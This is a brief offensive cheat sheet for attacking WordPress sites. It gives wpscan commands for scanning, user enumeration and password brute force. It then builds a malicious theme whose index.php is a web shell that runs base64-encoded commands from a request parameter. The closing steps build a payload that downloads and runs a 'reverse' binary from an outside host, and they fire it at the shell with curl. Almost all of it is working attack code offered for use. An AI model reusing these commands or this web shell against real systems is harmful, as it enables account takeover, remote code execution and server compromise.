Wordpress

wpscan --url http://172.17.0.2/ --detection-mode mixed --max-threads 50 --plugins-detection mixed

Enumerate Users
wpscan --url http://172.17.0.2/ --enumerate u

Brute force wpscan but highly chance to get ban in less than 3 minutes
wpscan --url http://172.17.0.2/ -P /path/to/wordlisttxt -U <user to bruteforce> --max-threads 50

LPE

Modify theme
http://1.2.3.4/wp-admin/theme-editor.php?file=404.php&theme=twentytwenty

Or upload your own theme
cd /tmp/

cat <<'EOF'>/tmp/style.css
/*
Theme Name: hacker
Theme URI: https://hacker.com
Author: hacker
Author URI: https://hacker.com
Description: hacker
Version: 1.0
*/
EOF

cat <<'EOF'>/tmp/index.php
<!DOCTYPE html>
<html>
<head></head>
<body>
DELIMITER1337
<?php
$a=popen(base64_decode($_REQUEST["aoOoy"]),'r');while($b=fgets($a,2048)){echo $b;ob_flush();flush();}pclose($a);
?>
DELIMITER1337
</body>
</html>
EOF

7z a wpshelltheme3.zip index.php style.css

# Upload wpshelltheme3.zip (http://1.2.3.4/wp-admin/theme-install.php?browse=popular)

# Use your payload
cat <<'EOF'|base64 -w0>/tmp/payload
wget 4.3.2.1/reverse -O /tmp/reverse ; chmod 755 /tmp/reverse ; /tmp/reverse
EOF
curl --path-as-is "http://offsecwp/wp-content/themes/wpshelltheme3/index.php?aoOoy=$(cat /tmp/payload)"